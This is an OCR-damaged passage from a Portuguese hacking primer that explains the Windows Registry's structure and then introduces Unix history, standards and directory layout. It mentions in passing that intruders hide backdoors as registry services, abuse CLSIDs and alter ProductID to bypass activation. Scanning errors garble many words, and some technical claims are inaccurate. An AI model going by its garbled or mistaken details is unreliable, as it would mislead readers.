Na fanlia Wm9x temos os arquivos SYSTEM.DAT, que trata das configuraes
de hardware e software, e USERDAT, que trata das configuraes pessoais de cada
usurio. OWmdows Me ainda possui um terceiro arquivo chamado CLASSES.DAT,
que armazena algumas informaes sobre programas e associaes de arquivos.
Os arquivos SYSTEM.DATe CLASSES.DAT, sendo nicos, esto sempre no diretrio
C\ WINDOWS.Sempre h um USERDATnesse mesmo diretrio, tambm. No en-
tanto, se o seu sistema estiver configurado para permitir perfis, cada usurio ter
seu prprio USERDATno diretrio C\WINDOWS\ Proilles\<nome do usurio>\,
ficando o arquivo do diretrio do Wmdows apenas como default. Quando o usu-
rio faz login no sistema, sua rea de trabalho personalizada ser lida e carregada.
Caso a utilizao de perfis de usurio esteja desabilitada, todos os usurios com-
partilharo as mesmas preferncias gravadas em C\WINDOWS\USERDAT.
A fanlia WinNT (incluindo a o Windows 2000) mantm todos os arquivos
do registro em %SystemRoot%\System32\Config.Ao contrrio do Windows 9x,
seis arquivos abrigam o registro da famlia NT: DEFAULT.DAT,SAM.DAT,
SECURlTY.DAT, SOFTWARE.DAT, SYSTEM.DATe NTUSERDAT.Os arquivos que
contm o registro so chamados de Hives7.
Apesar das diferenas fisicas, logicamente os registros das duas fanlias so muito
parecidos. Ambos residem em arquivos binrios, so baseados em elementos sim-
ples, compostos por uma dupla "nome = dado", so organizados em cinco ou mais
grandes sees, chamadas de Root Keys (ou HKEYs) e no podem ser editados
diretamente: necessrio usar programas especiais para tal. Existem diversas fer-
ramentas que podem ser utilizadas para visualizar e editar o registro. A mais sim-
ples o Editor de Registros (REGEDIT.EXE), includo no prprio Wmdows. Usare-
mos o RegEdit para "escarafunchar" um pouco em nosso sistema.
7 Uma curiosidade: os Hives do Wmdows XP no possuem a extenso .dat
1771
] Plataforma Windows
I Universidade H4CK3R I
A estrutura do Registro
Para organizar melhor os dados no registro, adotou-se uma estrutura hierr-
quica. Por isso mesmo essa estrutura assemelha-se organizao em diretrios
e subdiretrios - ou, usando a terminologia Microsoft, "pastas e subpastas". O
RegEdit tira partido disso e apresenta essa estrutura de forma muito similar
que o Windows Explorer mostra o contedo de seu disco rgido.
.,u.]..[ ".,..".
[valor no definido)
EI'~ Meu computador
IJI1JiiIHKEY_CLASSES_ROOT
$1:iI HKEY_CURRENT_USER
ffi.GfjjJHKEY_LOCAL_MACHINE
B~ HKEY_USERS
, IJJ~ .DEFAULT
EI~ Software
B'~ Micro$oft
. I!H~"
I~H~ HKEY_CURRENT _CONFIG
ffJ1ill2IHKEY_DYN_DATA
Observe que os dados esto organizados em seis grandes grupos cujos no-
mes iniciam-se com a sigla HKEYCada um desses grupos chamado de seo
ou Root Key e pode conter valores chamados de chaves. Por exemplo, no Root
Key HKEY_USERSdo exemplo acima, h uma chave chamada .DEFAULTe ou-
tra chamada Software. Chaves podem possuir duplas nome/dado chamadas de
valor ou outras chaves. A chave Software possui uma subchave chamada
Microsoft, que por sua vez possui outra subchave chamada Windows, que por
sua vez possui um valor padro. So as duplas nome/dado que realmente arma-
zenam as informaes no registro. H trs tipos de valores: String (um valor
em texto puro), Binary (um valor binrio - normal-
mente dados referentes a hardware e chaves de ati-
vao criptografadas de software) e DWORD (nor-
malmente um valor booleano - 1 para ativado, O
para desativado).A utilizao de cada um deles de-
pender do contexto.
H cinco sees em algumas verses do Windows e seis nas demais. Cada
seo tem uma especializao e contm as informaes referentes a ela.
~ HKEY_CLASSES_ROOT - Esta seo contm todas as associaes de
arquivo do Windows. por meio dela que o Windows suporta drag and drop e
OLE e permite a definio de atalhos no sistema. Alguns aspectos da GUI
N.omei."
J (Padro)
J AUach ToDe,klop
8!1 Bit,PerPixel
8!1 De$ktopPo$
8!1 DPILogica~
~"C"M:M'"
;.!ILba&$v<.< "w
(valorno definido)
"1"
"16"
"240.180"
"96"
178I
Plataforma Windows r
Universidade 1ano
(interface grfica com o usurio) tambm so definidos nela. Para remover
uma associao, basta excluir a chave com a extenso do arquivo. Este Root
Key falso: na verdade, uma subchave de HKEY_LOCAL_MACHINE.
~ HKEY_CURRENT_USER- Contm as informaes do usurio que est atu-
almente usando o sistema. Tambm um Root Key falso: na verdade um atalho
para uma subchave na seo HKEY_USERS. Quando o usurio d logout, todas as
configuraes de desktop, menu Iniciar,login e senhas de HKEY_CURRENT_USER
so salvas na chave exclusiva do usurio em HKEY_USERS.
~ HKEY_LOCAL_MACHINE- As informaes usveis por todos os usu-
rios indiscriminadamente esto nesta seo, incluindo hardware e seus drivers,
software instalado e sua configurao e preferncias globais em geral.
~ HKEY_USERS- Aqui vo as preferncias individuais de cada usurio, que
representado por uma subchave CLSID.Quando o usurio se "Ioga"no sistema,
suas preferncias e configuraes so copiadas daqui para
HKEY_CURRENT_USER. Quando o usurio d "logout" - e aparece aquele dilo-
go dizendo "Salvando suas configuraes" ou "Saving your settings" -, o sistema
est na realidade copiando o contedo de HKEY_CURRENT_USERde volta na
chave privada do usurio em HKEY_USERS. Uma maneira fcil de voltar as con-
figuraes do usurio ao padro do sistema apagar sua chave neste Root Key.
~ HKEY_CURRENT_CONFIG - Semelhante a HKEY_CURRENT_USER.An-
tes de serem salvas, as alteraes no registro referentes instalao de hardware
e software esto guardadas neste Root Key,que na verdade apenas um atalho
para uma subchave em HKEY_LOCAL_MACHINE.
~ HKEY_DYN_DATA- Mais um Root Key falso: aponta para outra subchave
de HKEY_LOCAL_MACHINE. Dispositivos Plug and Play usam esta seo para
armazenar suas configuraes durante a instalao. Como o prprio nome diz,
esse Root Key dinmico e ser alterado sempre que dispositivos de hardware
forem instalados ou removidos do sistema. Sistemas da famlia WinNT (incluin-
do Windows 2000 e Windows XP) no possuem este Root Key, embora a chave
dentro de HKEY_LOCAL_MACHINEainda exista.
Todas as chaves e subchaves possuem um valor padro e podem possuir um
ou mais valores modificveis. O que chamamos de valor na realidade uma
dupla formada por um nome que o identifica e um dado a ele associado.
Um duplo clique em qualquer um dos valores permite edit-Ios. No necessrio
"salvar" as alteraes: o prprio RegEdit se encarrega de faz-Ioautomaticamente
ao ser fechado.
CLSIO?
Algumas chaves e valores possuem um cdigo completamente ilegvel chama-
do CLSID.Acrnimo para Class Identifier, os CLSIDsso uma seqncia de letras
8 Classes so entidades "c1onveis" que encerram dentro de si valores variveis e constantes e rotinas
chamadas de mtodos. Paramais informaes, consulte os apndices sobre programao disponiveis no CD.
1791
I Plataforma Windows
IUniversidade H4CK3R I
e nmeros, nicos no sistema, que identificam cada um dos componentes COM
existentes. Um exemplo de CLSID {172BDDF8-CEEA-llDl-8B05-
00600806D9B6}. Complicado, no?
Component Object Models ou COMsso meios de controlar o Wmdows atravs de
scripts simples. O sistema usa o modelo cliente/servidor: h programas que oferecem
servios COM para que aplicaes-clientepossam usar.As aplicaes-cliente so os
scripts criados pelo usurio. Os servidores COMdisponibilizamos mtodos (rotinas
que fazemaJgumacoisa) e variveispor meio de c1asseS8. Cadauma das classesexisten-
tes no Wmdows possui um identificador nico chamado ClassIdentifier ou CLSID.
Um servidor COM muito conhecido dos programadores o Microsoft Word.
possvel usar um objeto do Word em outras aplicaes por meio do CLSIDdesse
objeto. Outros servidores COM muito usados so o Internet Explorer (a base do
Windows) e o Outlook Express.
possvel controlar diversos aspectos do Wmdows simplesmente associando
CLSIDsa chaves no Registro. Assim como os programadores o fazem para facili-
tar sua vida, os hackers usam os CLSIDsno documentados para criar meios de
"tomar" sua mquina em uma invaso. Por meio dos CLSIDs possvel usar os
prprios mecanismos do Windows para estabelecer uma comunicao entre o
computador invadido e o invasor, sem a necessidade de um cavalo de tria
muito elaborado.
Com esses fundamentos j possvel dissecar as entranhas desse ente miste-
rioso. Os autores acreditam que seria possvel implementar CLSIDs com no-
mes mais legveis, mas a Microsoft no s elaborou o padro dessa forma obs-
curantista como no divulgou muitas informaes a respeito. Apesar disso, al-
gumas informaes sobre CLSIDs, COM e o Registro podem ser encontradas
no TechNet (www.microsoft.com/technet). Foge ao escopo deste livro anali-
sar com profundidade todos os aspectos do Registro e seus CLSIDs, embora
seja obrigao de todo candidato a hacker ir atrs desses conceitos.
Um poucode graxa nos cotovelos...
De todo o Registro do Windows, a seo mais interessante , realmente, a
HKEY_LOCAL_MACHINE. Usando o RegEdit, navegue at essa Root Key e obser-
ve atentamente suas chaves. As descries abaixo servem para a famliaWinNT -
foram retiradas de um Windows XP Professional. A Famlia Win9x possui algu-
mas diferenas, embora seja muito semelhante na maioria dos elementos.
A chave System contm trs chaves ControlSet (no Wm9x, apenas uma), mais
as chaves LastKnownGoodRecovery (que aponta para o melhor ControlSet em
caso de pane), Mounted Devices (que lista todos os dispositivos de disco e de
rede em uso), Select (com configuraes padro) e Setup (com informaes so-
bre a instalao do Windows). As chaves ControlSetOOl e ControlSetOO2 exis-
tem apenas na famlia WmNT e so backups de configuraes anteriores. Uma
delas ser utilizada se, durante o boot, for escolhida a opo "Revert to last known
180 I
Plataforma Windows [
Universidade 1 ano
good configuration" ou "Usar ltima configurao funcional". A chave
CurrentControlSet existe em todas as famlias Windows e a que efetivamente
abriga a configurao atual de seu computador. dividida em quatro sees:
~ A Control contm as configuraes do Painel de Controle. Na realidade, o
Painel de Controle meramente um front end para essa chave.
~ A chave Enum contm informaes a respeito de todas as interfaces de I/O
do computador, como USB,IDEe PCI.Normalmente no se deve "bulir" com essa
chave, mas hackers experientes podem us-Ia para auxiliar no controle do com-
putador invadido, forar uma vulnerabilidade ou plantar alguma bomba-relgio.
~ A Hardware Prof1les guarda as configuraes de hardware da mquina. O
Windows permite que vrias configuraes de hardware diferentes possam
ser usadas na mesma instalao, e elas so guardadas aqui. Para excluir uma
configurao de hardware, basta excluir a subchave correspondente. O perfIl
de hardware sendo usado est contido em Current. Hackers mal-intencionados
podem alterar ou excluir as subchaves e deixar a mquina desconfigurada.
~ Por fIm, a Services contm dados sobre todos os servios que esto sendo
executados. nessa seo que os drivers de dispositivo, as bibliotecas de vncu-
lo dinmico (DLL) e os mdulos de virtualizao do kernel (VxD) so carrega-
dos. VxDs so, na realidade, referncias a grupos de arquivos com extenso
SYS. Na chave Services tambm so armazenados os parmetros que devem
ser passados aos VxDs e s DLLs quando so chamadas. Na prtica, todos os
servios que o Windows conhece (estejam rodando ou no) esto armazena-
dos em subchaves dentro de Services, incluindo servios de comunicao e
redes. Isso signifIca que apagar uma chave dessas signifIca esconder do Windows
a existncia de tal servio ou programa mesmo que ainda esteja fIsicamente
instalado no HD! O administrador de sistemas pode simplesmente excluir daqui
uma configurao de redes que esteja dando problemas. E o hacker, por sua vez,
pode implementar seus backdoors como servios nessa chave.
Ainda em HKEY_LOCAL_MACHINE, a chave HARDWAREcontm atalhos para
outras partes do registro que possuam informaes sobre o hardware instalado.
composto pelas chaves ACPI (dados do fabricante da mquina), DESCRIPTION
(dados sobre processador e memria), DEVlCEMAPS(configurao de dispositi-
vos de E/S) e RESOURCEMAPS(configurao dos recursos do Windows).
De todas as chaves de HKEY_LOCAL_MACHINE, talvez a mais importante para
nosso estudo seja a seo SOFfWARE.Observe a organizao por fornecedor. A
chave de cada fornecedor - por exemplo,Adobe, StarDivision, Microsoft - encer-
ra as informaes globais para todos os aplicativos de um mesmo fabricante,
incluindo rastreamento de verses, instrues para atualizao e desinstalao,
pastas de instalao, de trabalho e de origem. Algumas variveis de sistema tam-
bm so mantidas a, como, por exemplo, a chave Classes, que contm as associ-
aes de arquivo. O Root Key HKEY_CLASSES_ROOT, na verdade, apenas um
atalho para HKEY_LOCAL_MACHINE\SOFTWARE\Classes.
I 81 I
] Plataforma Windows
I Universidade H4CK3R I
otesouro
Cada fabricante tem sua prpria subchave, e a Microsoft, sendo tambm uma
desenvolvedora de software, possui uma subchave em HKEY_LOCAL_MACHINE\
SOFIWARE. A diferena que, sendo a desenvolvedora do sistema, colocou ali tudo o
que poderia ser necessrio para aconfigurao e integrao com outros produtos Microsoft.
Portanto, no h aqui apenas infonnaes sobre os programas Microsoft instalados, como
oWord ou o Excel.Muitas infonnaes que podem ser usadas pelos servios de BackOffice,
bem como a maioria dos servios Microsoft, possuem chaves aqui. Infonnaes sobre
DIls, controles e plug-insActiveX, o Microsoft Installer (MSI) e a localizao das mdias de
instalao, entre outras coisas, tambm possuem entradas sob a chave Microsoft.
Como exerccio antes de prosseguir, coloque o livro um pouco de lado e
pesquise bastante em todas as subchaves abaixo da chave Microsoft. Entre em
uma por uma, verifique seus nomes e subchaves, verifique o contedo (nome/
dado) dos valores. Observe que h chaves que possuem vrios valores em um
nvel, mesmo este tendo subchaves de nvel mais baixo. No altere nada! Ape-
nas observe e deixe a chave Windows para o lmal. Pronto? timo!
Vamos olhar com mais ateno a chave Windows. Nela h trs chaves: Current
Version, ITStorage e Shell. A ITStorage e Shell no tm muita utilidade em siste-
mas isolados, mas a Current Version possui muitas informaes interessantes. Obser-
ve os valores da prpria chave. Entre eles temos o ProductID (que, no Wmdows XP,
,
importantssimo para a ativao - e um dos valores alterados pelos crackers para
burl-Ia) e os caminhos para os componentes primrios do Wmdows, como o local
onde esto os arquivos de programas.
Alm desses valores, a chave Current Version abriga centenas de subchaves. Algu-
mas so fceis de entender, como a chave Explorer\Tips, que contm as "dicas do
dia". possvel alter-Ias para colocar outras dicas ou mesmo incluir mais valores
com novas dicas. Outras subchaves so mais hermticas. A subchave Installer, por
exemplo, abriga dados relativos ao Microsoft Installer (MSI), mas faz uso dos
indecifrveis valores CSLID.Navegue um pouco por essas duas chaves e s retome a
leitura do livro quando tiver uma viso geral do fimcionamento de ambas.
Com esses fimdamentos entendidos, o Registro do Wmdows j no deve ser mais
um mistrio to obscuro para o leitor. Como "tarefa para casa", sugerimos o estudo
(com o RegEdit) das seguintes chaves:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EventSystem
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Multimedia
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Outlook Express
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Updates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\
- App paths
182 I
Plataforma Windows [
Universidade,o ano
- Control panel
- Controls Folders
- Explorer
- Installer
- policies
- Run (programas carregados em todos os boots)
- RunOnce (programas carregados s urna vez)
- RunOnceEx (programas carregados s urna vez e
excludos)
- Setup
- SharedDLLs (MUITO importante!)
- Unins tall
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet
HKEY_LOCAL_MACHINE\SYSTEM\MountedDevices
HKEY_LOCAL_MACHINE\SYSTEM\Setup
depois
Lembrando sempre de que tomamos como ponto de partida o Registro do
Wmdows XP.Se o leitor possui outra verso doWindows, ser interessante tambm
procurar pelas mesmas chaves nela para conhecer as diferenas e semelhanas.
Where to, buddy?9
Em um livro como este no h espao para se aprofundar mais. Felizmente, a
Internet oferece alguns recursos para quem quer ou precisa conhecer mais
sobre a estrutura dos sistemas operacionais da Microsoft.
Um bom ponto de partida o TechNet (www.microsoft.com/technet). site
da Microsoft dirigido a tcnicos e programadores. Na pgina principal, h links
para as tecnologias mais atuais da empresa, como o Windows XP e a plataforma
.NET.Entretanto, possvel usar os mecanismos de busca do prprio site para
encontrar qualquer informao sobre qualquer produto. Com um pouco de
pesquisa possvel conhecer, por exemplo, detalhes da estrutura interna do
kernel do Windows 98 ou diferenas entre os registros do Windows 95 e do
Windows NT. Mesmo as especificaes de coisas muito antigas, como o MS-
DOS e o LANManager, podem ser encontradas. Preferimos o site americano e
no o brasileiro devido velocidade de atualizaes, embora esteja em ingls.
Outros sites em que podem haver informaes sobre plataformas Microsoft
so o site principal da empresa (www.microsoft.com). o Winguides
(www.winguides. com) e o TechRepublic (www.techrepublic.com). No deixe
de visit-Ios. H muitas informaes reunidas apenas nesses sites.
9 Quem jogava arcade games no final dos anos 80 certamente reconhece essa frase. Se ainda no descobriu
de que jogo estamos falando, infelizmente no podemos dar mais nenhuma pista. Har bar bar bar bar ...
1831
] Plataforma Windows
Plataformas
.
nlx
Captulo
'Subi talvez s mximas alturas, Mas, se hoje volto
assim, com a alma s escuras.
necessrio que inda eu suba mais!"
Augusto dos Anjos, "Solilquio de um visio-
nrio" do livro Eu e outros poemas - 1912
! Universidade H4CK3R I
No fomos ns que dissemos, mas sim a Netcraft (www:netcraft.com): 66%
dos servidores Web na Internet rodam algum tipo de Unix. Essa maioria esma-
gadora de sites que prestigiam o veterano sado dos laboratrios da AT&T na
dcada de 60 no o faz toa. Enquanto nas mquinas desktop (aquelas que
voc usa em cima de sua escrivaninha, no trabalho ou em casa) o Microsoft
Windows considerado o padro de fato, em servidores para Internet no h
muita discusso em torno do sistema operacional a ser usado.
a Unix um sistema com mais de 30 anos de estrada. Robusto, leve e portvel,
vem sendo lapidado desde seu lanamento em 1969 e, apesar de j ser bem
antigo, est sempre afinado com as novidades tecnolgicas. Por ser o sistema
mais usado, tambm o sistema mais atacado. a fato de funcionar como o
motor de dois teros dos sites do mundo e mesmo assim ser muito menosinva-
dido do que qualquer um dos adversrios mostra a confiabilidade desses siste-
mas. A contrapartida que, por ser assim to confivel e poderoso, tambm o
sistema operacional mais usado para originar ataques, qualquer que seja o alvo.
o modeloUnix de sistemas operacionais
interessantssimo o poder da mdia. Quando se fala em A Bela e a Fera,
ningum lembra do filme de Cocteau, considerado uma das obras-primas do
cinema francs. Muito menos de Jeanne Marie Leprince de Beaumont, pes-
quisadora que no sculo 18 coletou diversos contos medievais sobre o tema
e os reuniu, costurando a histria que conhecemos hoje. Pelo contrrio, as
pessoas s se lembram do desenho animado recentemente lanado por um
grande estdio norte-americano...
Em se tratando de sistemas operacionais temos o mesmo problema. Na lem-
brana de todos, apenas os sistemas mais novos prevalecem, mesmo sendo me-
nos otimizados ou menos preparados para servios de rede e misso crtica.
Apesar disso, ao redor do globo milhes de administradores de rede se utilizam
de alguma variante Unix para resolver problemas que outras plataformas nem
sonham enfrentar.
as sistemas Unix podem ser considerados tanto belas quanto feras. A Internet
no existiria sem os sistemas Unix - alis, a Internet foi criada para interligar
APENASsistemas Unix... At hoje, como os dados da Netcraft podem compro-
var, a maioria dos servidores Web do mundo emprega alguma variante de Unix,
e h esforos para que sistemas Unix ou similares sejam utilizados em estaes
de escritrio ou mesmo em dispositivos mveis, como celulares e palmtops.
H muita beleza nos sistemas Unix. Sua estrutura rgida e bem montada pare-
ce aos olhos dos seus usurios quase que como maravilhosos poemas. a poder
de fogo que esse sistema d a quem o domina chega a ser inebriante. Por sua
origem em laboratrios de pesquisa como ambiente de desenvolvimento, o Unix
possui diversas ferramentas para administradores de sistemas e redes e para
86 I
Plataforma Unix r
Universidade 1ano
programadores. Tambm por essa origem, h uma enorme e fraternal comuni-
dade de usurios que trocam experincias e se ajudam mutuamente. As grandes
empresas que fabricam ou oferecem solues baseadas em Unix formaram um
consrcio e definiram diversos padres que garantem interoperabilidade e
conectividade. O Unix considerado, exatamente por isso, um sistema abertol.
Sim, o Unix belo. Mas belo como um grande felino. Dom-Io requer treina-
mento, persistncia e um pouquinho de coragem. O conhecimento para domi-
nar nossa fera no "rocket science", entretanto. As pessoas sentem-se ame-
drontadas pela quantidade de ferramentas disponveis ou pela prpria linha de
comando. As interfaces grficas, apesar de no serem "toscas" como nos primei-
ros tempos, so diferentes das que a maioria dos usurios est acostumada. Por
fim, h vrios "sabores" diferentes de Unix a escolher. Cada qual tem seus atra-
tivos, mas tambm tem suas dillculdades e... Espere a! Sabores?
Apenas um jogo de computador...
Em 1963, o MIT, os laboratrios da Bell (empresa de telecomunicaes
estadunidense, subsidiria da gigante telefnica AT&T) e a General Electric
Company uniram-se para criar um sistema operacional revolucionrio. Obvia-
mente baseado nos computadores GE, o projeto tinha como objetivos:
~Ser multiusurio;
~Ser multitarefa;
~Oferecer grande capacidade de armazenamento para dados e programas;
~Permitir compartilhamento de dados entre usurios e grupos.
O sistema foi batizado de MULTICS,numa referncia s suas capacidades
multiusurio e multitarefa. Aps quatro anos de desenvolvimento em um
GE-645, o MULTICSde 1969 estava muitssimo aqum dos objetivos propostos.
Nesse mesmo ano, os Bell Labs decidiram sair do projeto.
Frustrados com a interrupo de seus esforos e desejosos de possuir um siste-
ma que realmente atendesse aos propsitos iniciais do MULTICS, alguns
desenvolvedores dos BellLabsresolveram, secretamente, iniciar o desenvolvimento
de outro sistema operacional. Um desses desenvolvedores era Ken Thompson,
que no queria mais usar o GE-645com MULTICSque havia ficado nos Bell Labs
para brincar com seu joguinho preferido. O Space Travels rodava muito mal no
MULTICS, e cada partida custava AT&T aproximadamente 75 dlares.
Thompson decidiu ento portar seu jogo para outro computador que estava
"dando sopa" no laboratrio, um PDP-7tambm da DEC. Maso sistema operacional
do PDP-7no era muito flexvel, ento Thompson comeou a escrever rotinas de
apoio para seu joguinho. No perodo de um ano, ainda em 1969, as "mandracarias"
de Thompson tornaram-se a primeira verso do sistema operacional Unix, total-
1 Aviso aos mais radicais: quando falamos em sistemas abertos, falamos de padres abertos. A discusso
sobre software livre e cdigo aberto uma outra histria...
1871
I Plataforma Unix
I Universidade H4CK3R I
mente escrita no Assembler do PDP-7.Para convencer seus superiores nos Bell Labs
da seriedade do projeto, apresentaram-no como um futuro sistema para
processamento de textos, o que posteriormente evoluiu para um sistema operacional
de uso geral.A palavra Unix2 era um trocadilho com o nome do MULTICS3.
Apenas em 1971 o Unix seria considerado um sistema operacional acabado.
At esse ano, muitas tecnologias foram desenvolvidas para que o "beb-ux" vies-
se ao mundo. Uma delas foi a linguagem C, desenvolvida por Dennis Ritchie a
partir da linguagem B de Thompson. O Unix foi totalmente reescrito em C e
pde, com isso, ser portado para qualquer mquina: bastava recompil-Io. O
conceito de portabilidade o maior trunfo do Unix at hoje e abriu novos
horizontes para a computao. Em 1977, o Unix foi lanado como sistema
operacional comercial e, de l para c, vem equipando sistemas to diversos
como dispositivos de mo e supercomputadores Cray.
Neste livro, usamos a palavra Unix indiscriminadamente referindo-nos a qual-
quer variao ou "sabor" dos sistemas baseados no Sing1e Unix Specification,
que engloba os padres POSIX,XPG4 e ANSI C. Outros autores usam as nomen-
claturas *nix, u*ix e Unix-like. Unix marca registrada do The Open Group
(www.unix-systems.org). "Similares a Unix" indica sistemas que se parecem com
um Unix, mas no o so oficialmente (como o GNUlLinux e o FreeBSD).
POSIX
Os trs documentos que formam o superconjunto Single Unix Specification
aplicam-se a partes diferentes do sistema. ANSI C o padro para a linguagem
de programao recomendada para o desenvolvimento de sistemas Unix e pode
ser encontrado em (www.ansi.org). J o XPG4 o padro para implementao do
servidor X, o programa central para aplicaes grficas em Unix. Informaes sobre
a especificao, o servidor Xe o XConsortium podem ser obtidas em (www.x.org).
Mas h um mais importante que os outros dois. Todo Unix que se preze deve,
obrigatoriamente, aderir ao POSIX, um padro mantido por vrias entidades:
IEEEe Open Group, nos Estados Unidos, e ISO/IEC, na Europa. Ele define as
chamadas de sistema, ou seja, as mensagens e sinais que os processos vo tro-
car entre si. Podem ser comparadas s mensagens do Windows que vimos no
captulo anterior, mas as system calls do Unix so muito mais numerosas,
especializadas e modulares.
2 No h espao aqui para contar toda a interessantssima histria do Unix. Um dos melhores documen-
tos sobre os primeiros dias, escrito por Dennis Ritchie, pode ser encontrado no endereo
cm.bell-labs.com/cm/cs/who/dmr/hist.htmI. Alm de curiosidades histricas, so descritos os fatos que
levaram o Unix a se parecer com o que hoje.
3 No pense que o MUL11CSmorreu em 1969! Seu desenvolvimento continuou e a GE (depois comprada
pela Honeywell e, mais recentemente, pela BulI) utilizou-Q como um de seus sistemas principais por muitos
anos. O ltimo sistema MUL11CSainda em 1imcionamento foi oficialmente desativado em 31 de outubro do
ano 2000. Para saber mais sobre MUL11CS, visite o site dos aficionados: www.multicians.orl!. Um ensaio
sobre o quanto o Unix foi inspirado no MULTICS pode ser visto em www.muIticians.orl!/unix.htmI.
188 I
Plataforma Unix r
Universidade 1ano
Dezenas de sabores sua escoLha
Talvez o leitor soubesse a que nos referamos quando dissemos que o Unix
era um sistema operacional aberto. Mais ainda, quando citamos que havia diver-
sos "sabores" disponveis. Mas Unix um sistema operacional e no um sorvete.
Que negcio esse de "sabor"?
Sendo um padro aberto, o Single Unix Specification permite que vrios
fabricantes possuam a sua prpria implementao. Mesmo sendo extrema-
mente diferentes em alguns casos, ainda so considerados Upices porque ade-
rem ao padro Unix-98 (a ltima verso do Single Unix Specification). Com
efeito, podemos citar alguns desenvolvedores de software que possuem ver-
ses do sistema:
~Sun Microsystems, com seu Solaris;
~IBM, com o AIX;
~SGI e o IRIX;
~BSDi com a implementao BSD e a verso gratuita FreeBSD;
~Hewlett-Packard e seu HP-UX;
~A prpria Microsoft e o fmado Xenix;
~A famlia GNUlLinux.
Citamos apenas os mais conhecidos. Existem muitas outras implementaes
Unix, comerciais ou no. O que chamamos de "famlia GNUlLinux" um conjun-
to de centenas de distribuies diferentes desse sistema operacional de cdigo
aberto, cada uma delas com suas prprias idiossincrasias.
Por que essa confuso? Na dcada de 80, quando vrias implementaes co-
merciais comearam a ser desenvolvidas, cada fabricante acabou criando seus
prprios padres e "puxando a sardinha para o seu lado". Os Unices tornaram-
se to diferentes entre si que acabaram no sendo interoperveis. Uma rede
heterognea era impossvel na poca, e hoje o padro Unix-98 tenta derrubar
essas diferenas.
As entranhas da fera
Todas as recomendaes que j demos no captulo anterior valem para este
tambm (e para todos os subseqentes - repetiremo-Ios diversas vezes, quase
que como uma lavagem cerebral...). Todo hacker que se preze deve conhecer
sistemas Unix, mesmo que os odeie. possvel que, depois da leitura deste
captulo, antigos detratores desse decano mudem de religio e passem a rezar
na igreja de Ken Thompson. Mas, convencido ou no, os sistemas Unix certa-
mente faro parte de sua vida de ciberativista.
1891
I Plataforma Unix
IUniversidade
Estrutura
Os sistemas operacionais da fan1iaUnix podem, para fins didticos, ser dividi-
dos em partes classificadas por funo: kemel (ceme ou ncleo), shell (concha
ou casca) e programas do usurio (aplicativos e ferramentas). Como essa abor-
dagem muito parecida com a prpria definio de sistema operacional , po-
demos usar uma simplificao do diagrama em camadas para demonstr-Io.
Essestrs grandes componentes se utilizamde uma
estrutura fsica universal chamada de sistema
de arquivos.Antes de entrar em detalhes so-
bre shell, system calls, processos e
kemel, vamos mergulhar um pou-
co nessa infra-estrutura sobre a
qual todos os Unix so mon-
tados. So necessrios al-
guns fundamentos e co-
mandos do shell para
percorr-Io. Caso tudo
isso seja muito novo
para voc, consulte o
apndice E,"B--b
do Unix".
Sistema de
arquivos
o Microsoft
Windows possui
uma estrutura bsi-
ca de diretrios. En-
tretanto, ela existe
como conseqncia
da estruturao do sistema, no como causa. Os arquivos de sistema relevantes
esto frouxamente organizados no diretrio Windows (ou WinNT) e
subdiretrios dentro dele. Mesmo as partes do kemel esto dispostas em arqui-
vos separados, misturados com outras centenas de arquivos dspares jogados
dentro de C\WlNDOWS. O grande agente aglutinador do sistema operacional
microsoftiano o Registro do sistema4.
4 Lembrando que o Registro dos sistemas Windows fisicamente gravado em diversos arquivos, e que
cada verso possui um conjunto diferente deles. Quando falamos em organizao do Registro aqui, estamos
nos referindo organizao lgica, aquela que apresentada ao usurio quando ele abre o Editor de
Registro e que comum a todas as verses do sistema.
' I
Plataforma UnixI
Universidade 1ano
Os Unix, por outro lado, so estruturados justamente a partir do sistema de
arquivos. Qualquer coisa que possa ser manipulada no sistema tratada como
um arquivo. Isso inclui dispositivos de hardware (como sua placa de som ou a
porta de impressora), os processos em execuo e, obviamente, os arquivos
comuns. possvel, por exemplo, copiar um MP3 para dentro do arquivo corres-
pondente sua placa de som: como por mgica, a msica soar nos alto-falantes.
Os arquivos ligados aos processos em execuo podem ser usados para control-
los. Ler esses arquivos normalmente nos permite ter acesso a informaes so-
bre o processo; e, grosso modo, podemos escrever neles para mandar mensa-
gens ao processo.
No h indicao no padro POSIXa respeito da organizao hierrquica de
diretrios: sistemas de arquivos Unix seguem um padro tcito e no oficial.
H diversos documentos e proposies tcnicas a respeito, como o File Hierarchy
Standard (www.pathname.com/fhs). mas nenhuma desenvolvedora comercial
de Unix obrigada a segui-los.A nica exceo so os sistemas GNU/Linux, que
possuem uma padronizao especfica e rgida para isso na Linux Standard
Base (www.1inuxbase.org).
Mesmo no havendo um documento oficial, h um consenso na distribuio
de diretrios em um sistema Unix. Exceto por diferenas muito sutis, a "rvore"
de diretrios de qualquer sabor de Unix se parece com esta. A hierarquia de
diretrios , na verdade, um superconjunto ou unio das principais estruturas
dos "sabores" mais comuns. Em alguns sitemas, por exemplo, no temos o
/proc; em outros, o /dev existe, mas possui outro nome; e a organizao abaixo
de !lib, /usr e /var tambm varia entre os diversos tipos de Unix. Mas o "esque-
leto" basicamente esse, e a partir dele muito fcil descobrir e entender as
diferenas de um sistema em especial.
O diretrio principal, aquele que contm todos os outros, chamado de raiz,
apesar de estar no topo da estrutura5. representado por um sinal de barra
(I) - no confundir com a barra invertida (\) usada no Windows - e qualquer
arquivo ou diretrio referenciado a partir dele. Por exemplo, o diretrio tmp
deve ser representado como /tmp. Um arquivo qualquer dentro do diretrio
/tmp seria encontrado se dssemos o endereo completo: /tmp/arquivo.
Cada um dos diretrios possui uma funo especfica:
~Ibin: ferramentas necessrias para a operao do sistema;
~/sbin: ferramentas do administrador necessrias para a operao e manu-
teno do sistema - o "s" de superuser;
~/dev: cada dispositivo de hardware instalado possui um arquivo neste
diretrio;
~/etc: os arquivosde configuraodo sistemae dos programas esto neste diretrio;
5 Considere que nossa estrutura uma rvore invertida (galhos no cho e raizes ao cu) e a visualzao
flcar fcil.
191 I
] Plataforma Unix
I Universidade H4CK3R I
/
bin
dev
etc
home
lib
mnt
proc
sbin
tmp
usr
bin
doc
etc
include
lib
local
man
sbin
share
src
var
192 I
Plataforma Unix [
